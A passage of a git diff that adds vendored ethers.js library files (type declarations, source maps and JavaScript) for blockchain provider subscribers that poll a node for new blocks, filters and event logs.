b/node_modules/ethers/lib.esm/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C,EAAE,EAAE,kBAAkB,GAAG,OAAO,CAAC,MAAM,CAAC,CAAC;IAE9C;;OAEG;IACH,WAAW,CAAC,IAAI,EAAE,MAAM,GAAG,OAAO,CAAC,IAAI,GAAG,MAAM,CAAC,CAAC;IAMlD;;;OAGG;IACH,eAAe,CAAC,EAAE,EAAE,kBAAkB,GAAG,OAAO,CAAC,MAAM,CAAC,CAAC;IAEzD;;;;OAIG;IACH,eAAe,CAAC,EAAE,EAAE,kBAAkB,GAAG,OAAO,CAAC,mBAAmB,CAAC,CAAC;IAEtE;;;;;;;;;OASG;IACH,WAAW,CAAC,OAAO,EAAE,MAAM,GAAG,UAAU,GAAG,OAAO,CAAC,MAAM,CAAC,CAAC;IAE3D;;OAEG;IACH,aAAa,CAAC,MAAM,EAAE,eAAe,EAAE,KAAK,EAAE,MAAM,CAAC,MAAM,EAAE,KAAK,CAAC,cAAc,CAAC,CAAC,EAAE,KAAK,EAAE,MAAM,CAAC,MAAM,EAAE,GAAG,CAAC,GAAG,OAAO,CAAC,MAAM,CAAC,CAAC;IAElI;;;;;;OAMG;IACH,qBAAqB,CAAC,IAAI,EAAE,oBAAoB,GAAG,OAAO,CAAC,oBAAoB,CAAC,CAAC;IAEjF;;;OAGG;IACH,SAAS,CAAC,aAAa,EAAE,oBAAoB,GAAG,OAAO,CAAC,aAAa,CAAC,CAAC;CAC1E"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/providers/signer.js b/node_modules/ethers/lib.esm/providers/signer.js new file mode 100644 index 000000000000..7c8f9901a6ad --- /dev/null +++ b/node_modules/ethers/lib.esm/providers/signer.js @@ -0,0 +1,2 @@ +export {}; +//# sourceMappingURL=signer.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/providers/signer.js.map b/node_modules/ethers/lib.esm/providers/signer.js.map new file mode 100644 index 000000000000..68d48a8375a6 --- /dev/null +++ b/node_modules/ethers/lib.esm/providers/signer.js.map @@ -0,0 +1 @@ +{"version":3,"file":"signer.js","sourceRoot":"","sources":["../../src.ts/providers/signer.ts"],"names":[],"mappings":""} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/providers/subscriber-connection.d.ts b/node_modules/ethers/lib.esm/providers/subscriber-connection.d.ts new file mode 100644 index 000000000000..b235e3b46c3a --- /dev/null +++ b/node_modules/ethers/lib.esm/providers/subscriber-connection.d.ts @@ -0,0 +1,25 @@ +import type { Subscriber } from "./abstract-provider.js"; +import type { Provider } from "./provider.js"; +/** + * @TODO + * + * @_docloc: api/providers/abstract-provider + */ +export interface ConnectionRpcProvider extends Provider { + _subscribe(param: Array, processFunc: (result: any) => void): number; + _unsubscribe(filterId: number): void; +} +/** + * @TODO + * + * @_docloc: api/providers/abstract-provider + */ +export declare class BlockConnectionSubscriber implements Subscriber { + #private; + constructor(provider: ConnectionRpcProvider); + start(): void; + stop(): void; + pause(dropWhilePaused?: boolean): void; + resume(): void; +} +//# sourceMappingURL=subscriber-connection.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/providers/subscriber-connection.d.ts.map b/node_modules/ethers/lib.esm/providers/subscriber-connection.d.ts.map new file mode 100644 index 000000000000..a1d8c3e78a9f --- /dev/null +++ b/node_modules/ethers/lib.esm/providers/subscriber-connection.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"subscriber-connection.d.ts","sourceRoot":"","sources":["../../src.ts/providers/subscriber-connection.ts"],"names":[],"mappings":"AAGA,OAAO,KAAK,EAAE,UAAU,EAAE,MAAM,wBAAwB,CAAC;AAIzD,OAAO,KAAK,EAAE,QAAQ,EAAE,MAAM,eAAe,CAAC;AAE9C;;;;GAIG;AACH,MAAM,WAAW,qBAAsB,SAAQ,QAAQ;IAEnD,UAAU,CAAC,KAAK,EAAE,KAAK,CAAC,GAAG,CAAC,EAAE,WAAW,EAAE,CAAC,MAAM,EAAE,GAAG,KAAK,IAAI,GAAG,MAAM,CAAC;IAC1E,YAAY,CAAC,QAAQ,EAAE,MAAM,GAAG,IAAI,CAAC;CACxC;AAED;;;;GAIG;AACH,qBAAa,yBAA0B,YAAW,UAAU;;gBAQ5C,QAAQ,EAAE,qBAAqB;IAO3C,KAAK,IAAI,IAAI;IAcb,IAAI,IAAI,IAAI;IAUZ,KAAK,CAAC,eAAe,CAAC,EAAE,OAAO,GAAG,IAAI;IAKtC,MAAM,IAAI,IAAI;CAGjB"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/providers/subscriber-connection.js b/node_modules/ethers/lib.esm/providers/subscriber-connection.js new file mode 100644 index 000000000000..bd873833bbd3 --- /dev/null +++ b/node_modules/ethers/lib.esm/providers/subscriber-connection.js @@ -0,0 +1,52 @@ +import { getNumber } from "../utils/index.js"; +/** + * @TODO + * + * @_docloc: api/providers/abstract-provider + */ +export class BlockConnectionSubscriber { + #provider; + #blockNumber; + #running; + #filterId; + constructor(provider) { + this.#provider = provider; + this.#blockNumber = -2; + this.#running = false; + this.#filterId = null; + } + start() { + if (this.#running) { + return; + } + this.#running = true; + this.#filterId = this.#provider._subscribe(["newHeads"], (result) => { + const blockNumber = getNumber(result.number); + const initial = (this.#blockNumber === -2) ? blockNumber : (this.#blockNumber + 1); + for (let b = initial; b <= blockNumber; b++) { + this.#provider.emit("block", b); + } + this.#blockNumber = blockNumber; + }); + } + stop() { + if (!this.#running) { + return; + } + this.#running = false; + if (this.#filterId != null) { + this.#provider._unsubscribe(this.#filterId); + this.#filterId = null; + } + } + pause(dropWhilePaused) { + if (dropWhilePaused) { + this.#blockNumber = -2; + } + this.stop(); + } + resume() { + this.start(); + } +} +//# sourceMappingURL=subscriber-connection.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/providers/subscriber-connection.js.map b/node_modules/ethers/lib.esm/providers/subscriber-connection.js.map new file mode 100644 index 000000000000..21a6428910ed --- /dev/null +++ b/node_modules/ethers/lib.esm/providers/subscriber-connection.js.map @@ -0,0 +1 @@ +{"version":3,"file":"subscriber-connection.js","sourceRoot":"","sources":["../../src.ts/providers/subscriber-connection.ts"],"names":[],"mappings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I,EAAE;YACxB,IAAI,CAAC,SAAS,CAAC,YAAY,CAAC,IAAI,CAAC,SAAS,CAAC,CAAC;YAC5C,IAAI,CAAC,SAAS,GAAG,IAAI,CAAC;SACzB;IACL,CAAC;IAED,KAAK,CAAC,eAAyB;QAC3B,IAAI,eAAe,EAAE;YAAE,IAAI,CAAC,YAAY,GAAG,CAAC,CAAC,CAAC;SAAE;QAChD,IAAI,CAAC,IAAI,EAAE,CAAC;IAChB,CAAC;IAED,MAAM;QACF,IAAI,CAAC,KAAK,EAAE,CAAC;IACjB,CAAC;CACJ"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/providers/subscriber-filterid.d.ts b/node_modules/ethers/lib.esm/providers/subscriber-filterid.d.ts new file mode 100644 index 000000000000..721d6284c300 --- /dev/null +++ b/node_modules/ethers/lib.esm/providers/subscriber-filterid.d.ts @@ -0,0 +1,64 @@ +import type { AbstractProvider, Subscriber } from "./abstract-provider.js"; +import type { EventFilter } from "./provider.js"; +import type { JsonRpcApiProvider } from "./provider-jsonrpc.js"; +/** + * Some backends support subscribing to events using a Filter ID. + * + * When subscribing with this technique, the node issues a unique + * //Filter ID//. At this point the node dedicates resources to + * the filter, so that periodic calls to follow up on the //Filter ID// + * will receive any events since the last call. + * + * @_docloc: api/providers/abstract-provider + */ +export declare class FilterIdSubscriber implements Subscriber { + #private; + /** + * Creates a new **FilterIdSubscriber** which will used [[_subscribe]] + * and [[_emitResults]] to setup the subscription and provide the event + * to the %%provider%%. + */ + constructor(provider: JsonRpcApiProvider); + /** + * Sub-classes **must** override this to begin the subscription. + */ + _subscribe(provider: JsonRpcApiProvider): Promise; + /** + * Sub-classes **must** override this handle the events. + */ + _emitResults(provider: AbstractProvider, result: Array): Promise; + /** + * Sub-classes **must** override this handle recovery on errors. + */ + _recover(provider: AbstractProvider): Subscriber; + start(): void; + stop(): void; + pause(dropWhilePaused?: boolean): void; + resume(): void; +} +/** + * A **FilterIdSubscriber** for receiving contract events. + * + * @_docloc: api/providers/abstract-provider + */ +export declare class FilterIdEventSubscriber extends FilterIdSubscriber { + #private; + /** + * Creates a new **FilterIdEventSubscriber** attached to %%provider%% + * listening for %%filter%%. + */ + constructor(provider: JsonRpcApiProvider, filter: EventFilter); + _recover(provider: AbstractProvider): Subscriber; + _subscribe(provider: JsonRpcApiProvider): Promise; + _emitResults(provider: JsonRpcApiProvider, results: Array): Promise; +} +/** + * A **FilterIdSubscriber** for receiving pending transactions events. + * + * @_docloc: api/providers/abstract-provider + */ +export declare class FilterIdPendingSubscriber extends FilterIdSubscriber { + _subscribe(provider: JsonRpcApiProvider): Promise; + _emitResults(provider: JsonRpcApiProvider, results: Array): Promise; +} +//# sourceMappingURL=subscriber-filterid.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/providers/subscriber-filterid.d.ts.map b/node_modules/ethers/lib.esm/providers/subscriber-filterid.d.ts.map new file mode 100644 index 000000000000..d012b4669b62 --- /dev/null +++ b/node_modules/ethers/lib.esm/providers/subscriber-filterid.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"subscriber-filterid.d.ts","sourceRoot":"","sources":["../../src.ts/providers/subscriber-filterid.ts"],"names":[],"mappings":"AAIA,OAAO,KAAK,EAAE,gBAAgB,EAAE,UAAU,EAAE,MAAM,wBAAwB,CAAC;AAE3E,OAAO,KAAK,EAAE,WAAW,EAAE,MAAM,eAAe,CAAC;AACjD,OAAO,KAAK,EAAE,kBAAkB,EAAE,MAAM,uBAAuB,CAAC;AAMhE;;;;;;;;;GASG;AACH,qBAAa,kBAAmB,YAAW,UAAU;;IAYjD;;;;OAIG;gBACS,QAAQ,EAAE,kBAAkB;IAaxC;;OAEG;IACH,UAAU,CAAC,QAAQ,EAAE,kBAAkB,GAAG,OAAO,CAAC,MAAM,CAAC;IAIzD;;OAEG;IACH,YAAY,CAAC,QAAQ,EAAE,gBAAgB,EAAE,MAAM,EAAE,KAAK,CAAC,GAAG,CAAC,GAAG,OAAO,CAAC,IAAI,CAAC;IAI3E;;OAEG;IACH,QAAQ,CAAC,QAAQ,EAAE,gBAAgB,GAAG,UAAU;IAwDhD,KAAK,IAAI,IAAI;IAOb,IAAI,IAAI,IAAI;IASZ,KAAK,CAAC,eAAe,CAAC,EAAE,OAAO,GAAG,IAAI;IAKtC,MAAM,IAAI,IAAI;CACjB;AAED;;;;GAIG;AACH,qBAAa,uBAAwB,SAAQ,kBAAkB;;IAG3D;;;OAGG;gBACS,QAAQ,EAAE,kBAAkB,EAAE,MAAM,EAAE,WAAW;IAK7D,QAAQ,CAAC,QAAQ,EAAE,gBAAgB,GAAG,UAAU;IAI1C,UAAU,CAAC,QAAQ,EAAE,kBAAkB,GAAG,OAAO,CAAC,MAAM,CAAC;IAKzD,YAAY,CAAC,QAAQ,EAAE,kBAAkB,EAAE,OAAO,EAAE,KAAK,CAAC,GAAG,CAAC,GAAG,OAAO,CAAC,IAAI,CAAC;CAKvF;AAED;;;;GAIG;AACH,qBAAa,yBAA0B,SAAQ,kBAAkB;IACvD,UAAU,CAAC,QAAQ,EAAE,kBAAkB,GAAG,OAAO,CAAC,MAAM,CAAC;IAIzD,YAAY,CAAC,QAAQ,EAAE,kBAAkB,EAAE,OAAO,EAAE,KAAK,CAAC,GAAG,CAAC,GAAG,OAAO,CAAC,IAAI,CAAC;CAKvF"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/providers/subscriber-filterid.js b/node_modules/ethers/lib.esm/providers/subscriber-filterid.js new file mode 100644 index 000000000000..83bbc1d1fc6c --- /dev/null +++ b/node_modules/ethers/lib.esm/providers/subscriber-filterid.js @@ -0,0 +1,174 @@ +import { isError } from "../utils/index.js"; +import { PollingEventSubscriber } from "./subscriber-polling.js"; +function copy(obj) { + return JSON.parse(JSON.stringify(obj)); +} +/** + * Some backends support subscribing to events using a Filter ID. + * + * When subscribing with this technique, the node issues a unique + * //Filter ID//. At this point the node dedicates resources to + * the filter, so that periodic calls to follow up on the //Filter ID// + * will receive any events since the last call. + * + * @_docloc: api/providers/abstract-provider + */ +export class FilterIdSubscriber { + #provider; + #filterIdPromise; + #poller; + #running; + #network; + #hault; + /** + * Creates a new **FilterIdSubscriber** which will used [[_subscribe]] + * and [[_emitResults]] to setup the subscription and provide the event + * to the %%provider%%. + */ + constructor(provider) { + this.#provider = provider; + this.#filterIdPromise = null; + this.#poller = this.#poll.bind(this); + this.#running = false; + this.#network = null; + this.#hault = false; + } + /** + * Sub-classes **must** override this to begin the subscription. + */ + _subscribe(provider) { + throw new Error("subclasses must override this"); + } + /** + * Sub-classes **must** override this handle the events. + */ + _emitResults(provider, result) { + throw new Error("subclasses must override this"); + } + /** + * Sub-classes **must** override this handle recovery on errors. + */ + _recover(provider) { + throw new Error("subclasses must override this"); + } + async #poll(blockNumber) { + try { + // Subscribe if necessary + if (this.#filterIdPromise == null) { + this.#filterIdPromise = this._subscribe(this.#provider); + } + // Get the Filter ID + let filterId = null; + try { + filterId = await this.#filterIdPromise; + } + catch (error) { + if (!isError(error, "UNSUPPORTED_OPERATION") || error.operation !== "eth_newFilter") { + throw error; + } + } + // The backend does not support Filter ID; downgrade to + // polling + if (filterId == null) { + this.#filterIdPromise = null; + this.#provider._recoverSubscriber(this, this._recover(this.#provider)); + return; + } + const network = await this.#provider.getNetwork(); + if (!this.#network) { + this.#network = network; + } + if (this.#network.chainId !== network.chainId) { + throw new Error("chaid changed"); + } + if (this.#hault) { + return; + } + const result = await this.#provider.send("eth_getFilterChanges", [filterId]); + await this._emitResults(this.#provider, result); + } + catch (error) { + console.log("@TODO", error); + } + this.#provider.once("block", this.#poller); + } + #teardown() { + const filterIdPromise = this.#filterIdPromise; + if (filterIdPromise) { + this.#filterIdPromise = null; + filterIdPromise.then((filterId) => { + if (this.#provider.destroyed) { + return; + } + this.#provider.send("eth_uninstallFilter", [filterId]); + }); + } + } + start() { + if (this.#running) { + return; + } + this.#running = true; + this.#poll(-2); + } + stop() { + if (!this.#running) { + return; + } + this.#running = false; + this.#hault = true; + this.#teardown(); + this.#provider.off("block", this.#poller); + } + pause(dropWhilePaused) { + if (dropWhilePaused) { + this.#teardown(); + } + this.#provider.off("block", this.#poller); + } + resume() { this.start(); } +} +/** + * A **FilterIdSubscriber** for receiving contract events. + * + * @_docloc: api/providers/abstract-provider + */ +export class FilterIdEventSubscriber extends FilterIdSubscriber { + #event; + /** + * Creates a new **FilterIdEventSubscriber** attached to %%provider%% + * listening for %%filter%%. + */ + constructor(provider, filter) { + super(provider); + this.#event = copy(filter); + } + _recover(provider) { + return new PollingEventSubscriber(provider, this.#event); + } + async _subscribe(provider) { + const filterId = await provider.send("eth_newFilter", [this.#event]); + return filterId; + } + async _emitResults(provider, results) { + for (const result of results) { + provider.emit(this.#event, provider._wrapLog(result, provider._network)); + } + } +} +/** + * A **FilterIdSubscriber** for receiving pending transactions events. + * + * @_docloc: api/providers/abstract-provider + */ +export class FilterIdPendingSubscriber extends FilterIdSubscriber { + async _subscribe(provider) { + return await provider.send("eth_newPendingTransactionFilter", []); + } + async _emitResults(provider, results) { + for (const result of results) { + provider.emit("pending", result); + } + } +} +//# sourceMappingURL=subscriber-filterid.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/providers/subscriber-filterid.js.map b/node_modules/ethers/lib.esm/providers/subscriber-filterid.js.map new file mode 100644 index 000000000000..7e4b618ecf5b --- /dev/null +++ b/node_modules/ethers/lib.esm/providers/subscriber-filterid.js.map @@ -0,0 +1 @@ +{"version":3,"file":"subscriber-filterid.js","sourceRoot":"","sources":["../../src.ts/providers/subscriber-filterid.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,OAAO,EAAE,MAAM,mBAAmB,CAAC;AAE5C,OAAO,EAAE,sBAAsB,EAAE,MAAM,yBAAyB,CAAC;AAOjE,SAAS,IAAI,CAAC,GAAQ;IAClB,OAAO,IAAI,CAAC,KAAK,CAAC,IAAI,CAAC,SAAS,CAAC,GAAG,CAAC,CAAC,CAAC;AAC3C,CAAC;AAED;;;;;;;;;GASG;AACH,MAAM,OAAO,kBAAkB;IAC3B,SAAS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7D,CAAC;IAED,KAAK,CAAC,UAAU,CAAC,QAA4B;QACzC,MAAM,QAAQ,GAAG,MAAM,QAAQ,CAAC,IAAI,CAAC,eAAe,EAAE,CAAE,IAAI,CAAC,MAAM,CAAE,CAAC,CAAC;QACvE,OAAO,QAAQ,CAAC;IACpB,CAAC;IAED,KAAK,CAAC,YAAY,CAAC,QAA4B,EAAE,OAAmB;QAChE,KAAK,MAAM,MAAM,IAAI,OAAO,EAAE;YAC1B,QAAQ,CAAC,IAAI,CAAC,IAAI,CAAC,MAAM,EAAE,QAAQ,CAAC,QAAQ,CAAC,MAAM,EAAE,QAAQ,CAAC,QAAQ,CAAC,CAAC,CAAC;SAC5E;IACL,CAAC;CACJ;AAED;;;;GAIG;AACH,MAAM,OAAO,yBAA0B,SAAQ,kBAAkB;IAC7D,KAAK,CAAC,UAAU,CAAC,QAA4B;QACzC,OAAO,MAAM,QAAQ,CAAC,IAAI,CAAC,iCAAiC,EAAE,EAAG,CAAC,CAAC;IACvE,CAAC;IAED,KAAK,CAAC,YAAY,CAAC,QAA4B,EAAE,OAAmB;QAChE,KAAK,MAAM,MAAM,IAAI,OAAO,EAAE;YAC1B,QAAQ,CAAC,IAAI,CAAC,SAAS,EAAE,MAAM,CAAC,CAAC;SACpC;IACL,CAAC;CACJ"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/providers/subscriber-polling.d.ts b/node_modules/ethers/lib.esm/providers/subscriber-polling.d.ts new file mode 100644 index 000000000000..e751ba48b5a8 --- /dev/null +++ b/node_modules/ethers/lib.esm/providers/subscriber-polling.d.ts @@ -0,0 +1,100 @@ +import type { AbstractProvider, Subscriber } from "./abstract-provider.js"; +import type { EventFilter, OrphanFilter, ProviderEvent } from "./provider.js"; +/** + * Return the polling subscriber for common events. + * + * @_docloc: api/providers/abstract-provider + */ +export declare function getPollingSubscriber(provider: AbstractProvider, event: ProviderEvent): Subscriber; +/** + * A **PollingBlockSubscriber** polls at a regular interval for a change + * in the block number. + * + * @_docloc: api/providers/abstract-provider + */ +export declare class PollingBlockSubscriber implements Subscriber { + #private; + /** + * Create a new **PollingBlockSubscriber** attached to %%provider%%. + */ + constructor(provider: AbstractProvider); + /** + * The polling interval. + */ + get pollingInterval(): number; + set pollingInterval(value: number); + start(): void; + stop(): void; + pause(dropWhilePaused?: boolean): void; + resume(): void; +} +/** + * An **OnBlockSubscriber** can be sub-classed, with a [[_poll]] + * implmentation which will be called on every new block. + * + * @_docloc: api/providers/abstract-provider + */ +export declare class OnBlockSubscriber implements Subscriber { + #private; + /** + * Create a new **OnBlockSubscriber** attached to %%provider%%. + */ + constructor(provider: AbstractProvider); + /** + * Called on every new block. + */ + _poll(blockNumber: number, provider: AbstractProvider): Promise; + start(): void; + stop(): void; + pause(dropWhilePaused?: boolean): void; + resume(): void; +} +export declare class PollingBlockTagSubscriber extends OnBlockSubscriber { + #private; + constructor(provider: AbstractProvider, tag: string); + pause(dropWhilePaused?: boolean): void; + _poll(blockNumber: number, provider: AbstractProvider): Promise; +} +/** + * @_ignore: + * + * @_docloc: api/providers/abstract-provider + */ +export declare class PollingOrphanSubscriber extends OnBlockSubscriber { + #private; + constructor(provider: AbstractProvider, filter: OrphanFilter); + _poll(blockNumber: number, provider: AbstractProvider): Promise; +} +/** + * A **PollingTransactionSubscriber** will poll for a given transaction + * hash for its receipt. + * + * @_docloc: api/providers/abstract-provider + */ +export declare class PollingTransactionSubscriber extends OnBlockSubscriber { + #private; + /** + * Create a new **PollingTransactionSubscriber** attached to + * %%provider%%, listening for %%hash%%. + */ + constructor(provider: AbstractProvider, hash: string); + _poll(blockNumber: number, provider: AbstractProvider): Promise; +} +/** + * A **PollingEventSubscriber** will poll for a given filter for its logs. + * + * @_docloc: api/providers/abstract-provider + */ +export declare class PollingEventSubscriber implements Subscriber { + #private; + /** + * Create a new **PollingTransactionSubscriber** attached to + * %%provider%%, listening for %%filter%%. + */ + constructor(provider: AbstractProvider, filter: EventFilter); + start(): void; + stop(): void; + pause(dropWhilePaused?: boolean): void; + resume(): void; +} +//# sourceMappingURL=subscriber-polling.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/providers/subscriber-polling.d.ts.map b/node_modules/ethers/lib.esm/providers/subscriber-polling.d.ts.map new file mode 100644 index 000000000000..193b2aaef004 --- /dev/null +++ b/node_modules/ethers/lib.esm/providers/subscriber-polling.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"subscriber-polling.d.ts","sourceRoot":"","sources":["../../src.ts/providers/subscriber-polling.ts"],"names":[],"mappings":"AAEA,OAAO,KAAK,EAAE,gBAAgB,EAAE,UAAU,EAAE,MAAM,wBAAwB,CAAC;AAC3E,OAAO,KAAK,EAAE,WAAW,EAAE,YAAY,EAAE,aAAa,EAAE,MAAM,eAAe,CAAC;AAM9E;;;;GAIG;AACH,wBAAgB,oBAAoB,CAAC,QAAQ,EAAE,gBAAgB,EAAE,KAAK,EAAE,aAAa,GAAG,UAAU,CAOjG;AAID;;;;;GAKG;AACH,qBAAa,sBAAuB,YAAW,UAAU;;IAUrD;;OAEG;gBACS,QAAQ,EAAE,gBAAgB;IAQtC;;OAEG;IACH,IAAI,eAAe,IAAI,MAAM,CAA2B;IACxD,IAAI,eAAe,CAAC,KAAK,EAAE,MAAM,EAA6B;IAqC9D,KAAK,IAAI,IAAI;IAMb,IAAI,IAAI,IAAI;IAMZ,KAAK,CAAC,eAAe,CAAC,EAAE,OAAO,GAAG,IAAI;IAKtC,MAAM,IAAI,IAAI;CAGjB;AAGD;;;;;GAKG;AACH,qBAAa,iBAAkB,YAAW,UAAU;;IAKhD;;OAEG;gBACS,QAAQ,EAAE,gBAAgB;IAQtC;;OAEG;IACG,KAAK,CAAC,WAAW,EAAE,MAAM,EAAE,QAAQ,EAAE,gBAAgB,GAAG,OAAO,CAAC,IAAI,CAAC;IAI3E,KAAK,IAAI,IAAI;IAQb,IAAI,IAAI,IAAI;IAOZ,KAAK,CAAC,eAAe,CAAC,EAAE,OAAO,GAAG,IAAI;IACtC,MAAM,IAAI,IAAI;CACjB;AAED,qBAAa,yBAA0B,SAAQ,iBAAiB;;gBAIhD,QAAQ,EAAE,gBAAgB,EAAE,GAAG,EAAE,MAAM;IAMnD,KAAK,CAAC,eAAe,CAAC,EAAE,OAAO,GAAG,IAAI;IAKhC,KAAK,CAAC,WAAW,EAAE,MAAM,EAAE,QAAQ,EAAE,gBAAgB,GAAG,OAAO,CAAC,IAAI,CAAC;CAW9E;AAGD;;;;GAIG;AACH,qBAAa,uBAAwB,SAAQ,iBAAiB;;gBAG9C,QAAQ,EAAE,gBAAgB,EAAE,MAAM,EAAE,YAAY;IAKtD,KAAK,CAAC,WAAW,EAAE,MAAM,EAAE,QAAQ,EAAE,gBAAgB,GAAG,OAAO,CAAC,IAAI,CAAC;CAI9E;AAED;;;;;GAKG;AACH,qBAAa,4BAA6B,SAAQ,iBAAiB;;IAG/D;;;OAGG;gBACS,QAAQ,EAAE,gBAAgB,EAAE,IAAI,EAAE,MAAM;IAK9C,KAAK,CAAC,WAAW,EAAE,MAAM,EAAE,QAAQ,EAAE,gBAAgB,GAAG,OAAO,CAAC,IAAI,CAAC;CAI9E;AAED;;;;GAIG;AACH,qBAAa,sBAAuB,YAAW,UAAU;;IAWrD;;;OAGG;gBACS,QAAQ,EAAE,gBAAgB,EAAE,MAAM,EAAE,WAAW;IAqC3D,KAAK,IAAI,IAAI;IAYb,IAAI,IAAI,IAAI;IAOZ,KAAK,CAAC,eAAe,CAAC,EAAE,OAAO,GAAG,IAAI;IAKtC,MAAM,IAAI,IAAI;CAGjB"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/providers/subscriber-polling.js b/node_modules/ethers/lib.esm/providers/subscriber-polling.js new file mode 100644 index 000000000000..b091077a6fed --- /dev/null +++ b/node_modules/ethers/lib.esm/providers/subscriber-polling.js @@ -0,0 +1,293 @@ +import { assert, isHexString } from "../utils/index.js"; +function copy(obj) { + return JSON.parse(JSON.stringify(obj)); +} +/** + * Return the polling subscriber for common events. + * + * @_docloc: api/providers/abstract-provider + */ +export function getPollingSubscriber(provider, event) { + if (event === "block") { + return new PollingBlockSubscriber(provider); + } + if (isHexString(event, 32)) { + return new PollingTransactionSubscriber(provider, event); + } + assert(false, "unsupported polling event", "UNSUPPORTED_OPERATION", { + operation: "getPollingSubscriber", info: { event } + }); +} +// @TODO: refactor this +/** + * A **PollingBlockSubscriber** polls at a regular interval for a change + * in the block number. + * + * @_docloc: api/providers/abstract-provider + */ +export class PollingBlockSubscriber { + #provider; + #poller; + #interval; + // The most recent block we have scanned for events. The value -2 + // indicates we still need to fetch an initial block number + #blockNumber; + /** + * Create a new **PollingBlockSubscriber** attached to %%provider%%. + */ + constructor(provider) { + this.#provider = provider; + this.#poller = null; + this.#interval = 4000; + this.#blockNumber = -2; + } + /** + * The polling interval. + */ + get pollingInterval() { return this.#interval; } + set pollingInterval(value) { this.#interval = value; } + async #poll() { + try { + const blockNumber = await this.#provider.getBlockNumber(); + // Bootstrap poll to setup our initial block number + if (this.#blockNumber === -2) { + this.#blockNumber = blockNumber; + return; + } + // @TODO: Put a cap on the maximum number of events per loop? + if (blockNumber !== this.#blockNumber) { + for (let b = this.#blockNumber + 1; b <= blockNumber; b++) { + // We have been stopped + if (this.#poller == null) { + return; + } + await this.#provider.emit("block", b); + } + this.#blockNumber = blockNumber; + } + } + catch (error) { + // @TODO: Minor bump, add an "error" event to let subscribers + // know things went awry. + //console.log(error); + } + // We have been stopped + if (this.#poller == null) { + return; + } + this.#poller = this.#provider._setTimeout(this.#poll.bind(this), this.#interval); + } + start() { + if (this.#poller) { + return; + } + this.#poller = this.#provider._setTimeout(this.#poll.bind(this), this.#interval); + this.#poll(); + } + stop() { + if (!this.#poller) { + return; + } + this.#provider._clearTimeout(this.#poller); + this.#poller = null; + } + pause(dropWhilePaused) { + this.stop(); + if (dropWhilePaused) { + this.#blockNumber = -2; + } + } + resume() { + this.start(); + } +} +/** + * An **OnBlockSubscriber** can be sub-classed, with a [[_poll]] + * implmentation which will be called on every new block. + * + * @_docloc: api/providers/abstract-provider + */ +export class OnBlockSubscriber { + #provider; + #poll; + #running; + /** + * Create a new **OnBlockSubscriber** attached to %%provider%%. + */ + constructor(provider) { + this.#provider = provider; + this.#running = false; + this.#poll = (blockNumber) => { + this._poll(blockNumber, this.#provider); + }; + } + /** + * Called on every new block. + */ + async _poll(blockNumber, provider) { + throw new Error("sub-classes must override this"); + } + start() { + if (this.#running) { + return; + } + this.#running = true; + this.#poll(-2); + this.#provider.on("block", this.#poll); + } + stop() { + if (!this.#running) { + return; + } + this.#running = false; + this.#provider.off("block", this.#poll); + } + pause(dropWhilePaused) { this.stop(); } + resume() { this.start(); } +} +export class PollingBlockTagSubscriber extends OnBlockSubscriber { + #tag; + #lastBlock; + constructor(provider, tag) { + super(provider); + this.#tag = tag; + this.#lastBlock = -2; + } + pause(dropWhilePaused) { + if (dropWhilePaused) { + this.#lastBlock = -2; + } + super.pause(dropWhilePaused); + } + async _poll(blockNumber, provider) { + const block = await provider.getBlock(this.#tag); + if (block == null) { + return; + } + if (this.#lastBlock === -2) { + this.#lastBlock = block.number; + } + else if (block.number > this.#lastBlock) { + provider.emit(this.#tag, block.number); + this.#lastBlock = block.number; + } + } +} +/** + * @_ignore: + * + * @_docloc: api/providers/abstract-provider + */ +export class PollingOrphanSubscriber extends OnBlockSubscriber { + #filter; + constructor(provider, filter) { + super(provider); + this.#filter = copy(filter); + } + async _poll(blockNumber, provider) { + throw new Error("@TODO"); + console.log(this.#filter); + } +} +/** + * A **PollingTransactionSubscriber** will poll for a given transaction + * hash for its receipt. + * + * @_docloc: api/providers/abstract-provider + */ +export class PollingTransactionSubscriber extends OnBlockSubscriber { + #hash; + /** + * Create a new **PollingTransactionSubscriber** attached to + * %%provider%%, listening for %%hash%%. + */ + constructor(provider, hash) { + super(provider); + this.#hash = hash; + } + async _poll(blockNumber, provider) { + const tx = await provider.getTransactionReceipt(this.#hash); + if (tx) { + provider.emit(this.#hash, tx); + } + } +} +/** + * A **PollingEventSubscriber** will poll for a given filter for its logs. + * + * @_docloc: api/providers/abstract-provider + */ +export class PollingEventSubscriber { + #provider; + #filter; + #poller; + #running; + // The most recent block we have scanned for events. The value -2 + // indicates we still need to fetch an initial block number + #blockNumber; + /** + * Create a new **PollingTransactionSubscriber** attached to + * %%provider%%, listening for %%filter%%. + */ + constructor(provider, filter) { + this.#provider = provider; + this.#filter = copy(filter); + this.#poller = this.#poll.bind(this); + this.#running = false; + this.#blockNumber = -2; + } + async #poll(blockNumber) { + // The initial block hasn't been determined yet + if (this.#blockNumber === -2) { + return; + } + const filter = copy(this.#filter); + filter.fromBlock = this.#blockNumber + 1; + filter.toBlock = blockNumber; + const logs = await this.#provider.getLogs(filter); + // No logs could just mean the node has not indexed them yet, + // so we keep a sliding window of 60 blocks to keep scanning + if (logs.length === 0) { + if (this.#blockNumber < blockNumber - 60) { + this.#blockNumber = blockNumber - 60; + } + return; + } + for (const log of logs) { + this.#provider.emit(this.#filter, log); + // Only advance the block number when logs were found to + // account for networks (like BNB and Polygon) which may + // sacrifice event consistency for block event speed + this.#blockNumber = log.blockNumber; + } + } + start() { + if (this.#running) { + return; + } + this.#running = true; + if (this.#blockNumber === -2) { + this.#provider.getBlockNumber().then((blockNumber) => { + this.#blockNumber = blockNumber; + }); + } 